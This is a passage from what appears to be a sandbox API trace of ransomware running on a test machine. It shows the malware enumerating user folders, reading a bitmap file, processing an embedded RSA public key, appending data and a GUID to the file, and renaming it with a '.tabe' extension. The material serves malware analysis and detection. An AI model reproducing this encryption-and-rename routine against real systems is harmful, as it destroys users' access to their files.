dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 0 [0127.600] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.600] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.604] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.604] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0127.604] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.604] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.604] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.604] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.604] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.604] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.604] PathFindFileNameW (pszPath="") returned="" [0127.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.605] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.605] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 0 [0127.605] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.605] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.605] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.605] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0127.605] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.605] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.605] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.605] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.605] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.606] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.606] PathFindFileNameW (pszPath="") returned="" [0127.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.606] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.606] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 0 [0127.606] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.606] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.606] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.606] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.606] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.606] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.606] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.606] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.606] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.606] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.606] PathFindFileNameW (pszPath="") returned="" [0127.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.607] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.607] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0127.607] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Services", cAlternateFileName="")) returned 1 [0127.607] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Services", cAlternateFileName="")) returned 0 [0127.607] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.607] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.608] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0127.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.608] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.608] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.608] PathFindFileNameW (pszPath="") returned="" [0127.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.609] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.609] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="AU", cAlternateFileName="")) returned 1 [0127.609] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0127.609] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0127.609] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0127.609] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.609] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.609] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\") returned="lOsYtxWFHKcHCp_\\" [0127.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\") returned="lFYNBb9GU\\" [0127.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\") returned="Yr-pcf 3y122NkdCREb\\" [0127.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0127.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.609] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.609] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.609] PathFindFileNameW (pszPath="") returned="" [0127.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdca37810, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0xd873ea60, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xd873ea60, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.611] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdca37810, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0xd873ea60, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xd873ea60, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.611] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9f7100, ftCreationTime.dwHighDateTime=0x1d5e1e0, ftLastAccessTime.dwLowDateTime=0xf4154f00, ftLastAccessTime.dwHighDateTime=0x1d5de1e, ftLastWriteTime.dwLowDateTime=0xf4154f00, ftLastWriteTime.dwHighDateTime=0x1d5de1e, nFileSizeHigh=0x0, nFileSizeLow=0x10ea4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SL3mEZk8igd.bmp", cAlternateFileName="SL3MEZ~1.BMP")) returned 1 [0127.611] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\SL3mEZk8igd.bmp") returned=".bmp" [0127.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\SL3mEZk8igd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\sl3mezk8igd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.611] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=69284) returned 1 [0127.611] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.612] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10e7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.612] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.614] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10ea4, lpOverlapped=0x0) returned 1 [0127.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.615] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.615] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.616] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.616] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.616] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.616] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.616] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.616] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.616] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.616] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.616] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.616] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.617] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.617] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.617] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.617] CloseHandle (hObject=0x618) returned 1 [0127.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\SL3mEZk8igd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\sl3mezk8igd.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\SL3mEZk8igd.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\sl3mezk8igd.bmp.tabe")) returned 1 [0127.619] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a363d10, ftCreationTime.dwHighDateTime=0x1d5de31, ftLastAccessTime.dwLowDateTime=0x45e09af0, ftLastAccessTime.dwHighDateTime=0x1d5dea7, ftLastWriteTime.dwLowDateTime=0x45e09af0, ftLastWriteTime.dwHighDateTime=0x1d5dea7, nFileSizeHigh=0x0, nFileSizeLow=0x9edf, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="TIvH4DxnXUjeg2Kb.mp3", cAlternateFileName="TIVH4D~1.MP3")) returned 1 [0127.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 